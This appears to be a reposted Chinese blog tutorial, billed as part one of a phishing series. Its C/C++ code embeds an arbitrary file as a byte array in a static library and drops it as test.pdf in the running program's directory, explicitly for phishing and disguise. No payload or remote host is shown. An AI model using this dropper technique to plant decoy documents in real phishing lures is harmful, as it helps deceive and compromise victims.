钓鱼攻击第一弹-释放文件

2022/8/28 23:27:40

本文主要是介绍钓鱼攻击第一弹-释放文件,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

钓鱼攻击第一弹-释放文件

之后所有文章发至《熊猫安全》公众号上

获取当前路径

#include <stdio.h>
#include "direct.h"
#define MAX_SIZE 255
int main(int argc, const char* argv[]) 
{
    char buf[MAX_SIZE];
    getcwd(buf, sizeof(buf));
    printf("current working directory : %s\n", buf);
    puts(buf);
    return 0;
}

释放任意资源文件

  1. 首先把需要释放的文件通过winhex打开,然后点击编辑->复制所有->C源码(C)
  2. VS 创建代码->Windows桌面向导->静态库(.lib)
  3. 把第一步获得的C代码添加至项目头文件中,新建头文件MyFile.h

重命名为unsigned char Myfile,里面的数据不能改。

新建源文件project.cpp,写入以下内容

#include "Resour.h"
#include "Myfile.h"
#include <fstream>
using namespace std;

void MyWriteFile(int code,const char *FileName)
{
	ofstream ofs;
	if (code == 1)
	{
		ofs.open(Filename, ios_base::out | ios_base::binary);
		ofs.write((char*)Myfile, sizeof(Myfile));
		ofs.close();
	}
	else if (code == 2)
	{
		MessageBoxW(0, L"释放dll", L"提示", 0);
	}
}

project.h

#pragma once
#include <Windows.h>

void MyWriteFile(int code,const char *FileName);

运行项目,会在Release目录下生成一个Project1.lib。

​4.VS新建一个控制台应用,把project.h、Project1.lib放入目录

导入project.h到头文件,添加Project1.lib到依赖项

main函数代码如下

#include <stdio.h>
#include "direct.h"
#include "project.h"
#pragma warning(disable:4996)
#define MAX_SIZE 255
int main()
{
    char buf[MAX_SIZE];
    const char *name = "\\test.pdf";
    //const char *filename;
    getcwd(buf, sizeof(buf));//获取当前程序路径
    //printf("current working directory : %s\n", buf);
    //puts(buf);"\\test.pdf"
    strcat(buf, name);//拼接文件名进路径
    //printf("current working directory : %s\n", buf);
    //puts(buf);


    printf("你好");
    MyWriteFile(1, buf);
}

运行生成的程序,会在你程序当前路径释放一个test.pdf,该pdf即为你需要释放的文件

结语

这玩意有什么用呢,回归标题**钓鱼 **和 伪装



这篇关于钓鱼攻击第一弹-释放文件的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程